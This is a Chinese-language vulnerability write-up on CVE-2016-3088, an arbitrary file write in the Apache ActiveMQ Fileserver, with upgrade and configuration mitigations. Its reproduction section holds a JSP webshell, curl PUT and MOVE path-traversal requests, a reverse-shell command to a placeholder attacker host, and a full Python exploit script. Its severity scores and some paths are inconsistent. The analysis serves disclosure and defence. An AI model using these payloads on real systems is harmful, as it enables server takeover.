一、漏洞简介

1.1 漏洞背景

Apache ActiveMQ 5.0.0 到 5.13.x 版本包含一个名为 Fileserver 的 Web 应用程序,用于通过 HTTP 传输 BLOB(Binary Large Object)消息。2016年,安全研究人员发现了该组件存在多个安全漏洞,类似于之前报告的 CVE-2015-1830。这些漏洞允许攻击者通过恶意文件上传实现远程代码执行。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2016-3088
危害等级 CRITICAL / 9.8
漏洞类型 文件上传漏洞
披露时间 2016-06-01
影响组件 Apache ActiveMQ
属性 描述
CVE编号 CVE-2016-3088
危害等级 重要 (Important)
CVSS评分 8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
漏洞类型 路径遍历、任意文件写入 (CWE-22, CWE-73)
影响组件 Fileserver Web Application

该漏洞包含多个安全问题: 1. 任意文件上传:攻击者可上传恶意文件到服务器 2. 路径遍历:通过 ../ 绕过目录限制 3. 文件覆盖:可覆盖 Web 应用文件,植入恶意 JSP/JS 4. MOVE 方法滥用:利用 HTTP MOVE 方法实现任意文件写入

<hr />

补充核验信息:公开时间:2016-06-01;NVD 评分:9.8(CRITICAL);CWE:CWE-434。

二、影响范围

2.1 受影响的版本

  • Apache ActiveMQ 5.0.0 ~ 5.13.x

2.2 不受影响的版本

  • Apache ActiveMQ >= 5.14.0(Fileserver 组件已被完全移除)

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Fileserver Web 应用程序已启用(5.12.0 之前默认启用,之后默认禁用)
  2. 攻击者可访问 Fileserver 接口(默认端口 8161)
  3. 可能需要认证(取决于配置)
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

Fileserver REST API 漏洞

Fileserver 组件提供了基于 REST 的文件操作 API: - PUT /fileserver/<path> - 上传文件 - GET /fileserver/<path> - 下载文件 - MOVE /fileserver/<path> - 移动文件(关键漏洞点)

漏洞利用方式

  1. 上传恶意文件
  2. 使用 PUT 方法上传 JSP Webshell
  3. 文件被存储在 Fileserver 目录

  4. 利用 MOVE 方法移动文件

  5. 通过 Destination 头指定目标路径
  6. 使用路径遍历 ../ 跳出 Fileserver 目录
  7. 将 Webshell 移动到 Web 应用根目录

  8. 访问 Webshell

  9. 通过浏览器访问上传的 JSP 文件
  10. 获取服务器控制权
攻击流程:
PUT /fileserver/shell.txt → 上传恶意内容
      ↓
MOVE /fileserver/shell.txt
     Destination: file:///opt/activemq/webapps/admin/shell.jsp
      ↓
GET /admin/shell.jsp → 执行任意命令

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置(Fileserver REST Servlet):

// 处理 MOVE 请求的代码
protected void doMove(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {

    String sourcePath = request.getPathInfo();
    String destinationHeader = request.getHeader("Destination");

    // 危险:未对 Destination 进行充分验证
    String destPath = parseDestination(destinationHeader);

    // 路径遍历检查不完整
    if (!destPath.startsWith(fileserverRoot)) {
        // 应该阻止,但可以通过 file:// 协议绕过
        response.sendError(403);
        return;
    }

    // 执行文件移动
    File source = new File(fileserverRoot, sourcePath);
    File dest = new File(destPath);  // 可控的目标路径
    source.renameTo(dest);
}

绕过方式

攻击者可以通过 file:// 协议配合绝对路径绕过路径检查:

MOVE /fileserver/shell.txt HTTP/1.1
Host: target:8161
Destination: file:///opt/activemq/webapps/api/shell.jsp

HTTP/1.1 204 No Content

补丁修复(5.14.0 版本):

官方选择完全移除 Fileserver 组件,而不是修复漏洞: - 该功能不再被推荐使用 - 建议使用独立的 FTP/HTTP 服务器传输 BLOB 消息 - 从 conf/jetty.xml 中移除 Fileserver 配置

<hr />

四、漏洞复现(可选)

4.1 环境搭建

# 下载受影响版本
wget https://archive.apache.org/dist/activemq/5.11.1/apache-activemq-5.11.1-bin.tar.gz
tar -xzf apache-activemq-5.11.1-bin.tar.gz
cd apache-activemq-5.11.1

# 确保 Fileserver 已启用(检查 conf/jetty.xml)
# 默认在 5.12.0 之前是启用的

./bin/activemq start

4.2 PoC 演示与测试过程

步骤1:上传恶意文件

# 创建 JSP Webshell
cat > shell.jsp << 'EOF'
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(
        new InputStreamReader(p.getInputStream()));
    String line;
    while((line = br.readLine()) != null) {
        out.println(line);
    }
}
%>
EOF

# 上传到 Fileserver
curl -X PUT -T shell.jsp http://admin:admin@target:8161/fileserver/shell.txt

步骤2:利用 MOVE 方法移动文件

# 将文件移动到 Web 应用目录
curl -X MOVE -H "Destination: file:///opt/activemq/webapps/api/shell.jsp" \
    http://admin:admin@target:8161/fileserver/shell.txt

步骤3:访问 Webshell 执行命令

# 执行命令
curl "http://target:8161/api/shell.jsp?cmd=id"
# 输出: uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)

# 获取反弹 shell
curl "http://target:8161/api/shell.jsp?cmd=bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/attacker/4444%200%3E%261'"

自动化利用脚本

#!/usr/bin/env python3
import requests

def exploit(target, port, username, password, command):
    base_url = f"http://{target}:{port}"
    auth = (username, password)

    # JSP Webshell
    webshell = """<%@ page import="java.util.*,java.io.*"%>
<%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;while((line=br.readLine())!=null){out.println(line);}%>"""

    # Step 1: PUT
    put_url = f"{base_url}/fileserver/pwn.txt"
    r = requests.put(put_url, data=webshell, auth=auth)
    print(f"[*] PUT status: {r.status_code}")

    # Step 2: MOVE
    move_url = f"{base_url}/fileserver/pwn.txt"
    headers = {"Destination": f"file:///var/www/html/shell.jsp"}
    r = requests.request("MOVE", move_url, headers=headers, auth=auth)
    print(f"[*] MOVE status: {r.status_code}")

    # Step 3: Execute
    shell_url = f"{base_url}/shell.jsp?cmd={command}"
    r = requests.get(shell_url, auth=auth)
    print(f"[+] Command output:\n{r.text}")

if __name__ == "__main__":
    exploit("target.com", 8161, "admin", "admin", "id")
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到安全版本: - Apache ActiveMQ >= 5.14.0

在 5.14.0 版本中,Fileserver 组件已被完全移除

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案1:禁用 Fileserver(推荐)

编辑 conf/jetty.xml,注释或删除以下配置:

<!-- 删除或注释以下内容 -->
<!--
<bean class="org.eclipse.jetty.webapp.WebAppContext">
    <property name="contextPath" value="/fileserver" />
    <property name="resourceBase" value="${activemq.home}/webapps/fileserver" />
    <property name="logUrlOnStart" value="true" />
    <property name="parentLoaderPriority" value="true" />
</bean>
-->

重启 ActiveMQ 服务:

./bin/activemq restart

方案2:限制网络访问

# 仅允许受信任 IP 访问 8161 端口
iptables -A INPUT -p tcp --dport 8161 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8161 -j DROP

方案3:强制认证

确保 Web Console 需要认证,修改 conf/jetty-realm.properties

# 修改默认密码
admin: strong_random_password_here, admin
user: another_strong_password, user

方案4:使用独立的文件服务器

使用专业的文件存储解决方案替代 Fileserver: - SFTP 服务器 - MinIO 对象存储 - NFS 共享存储

<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料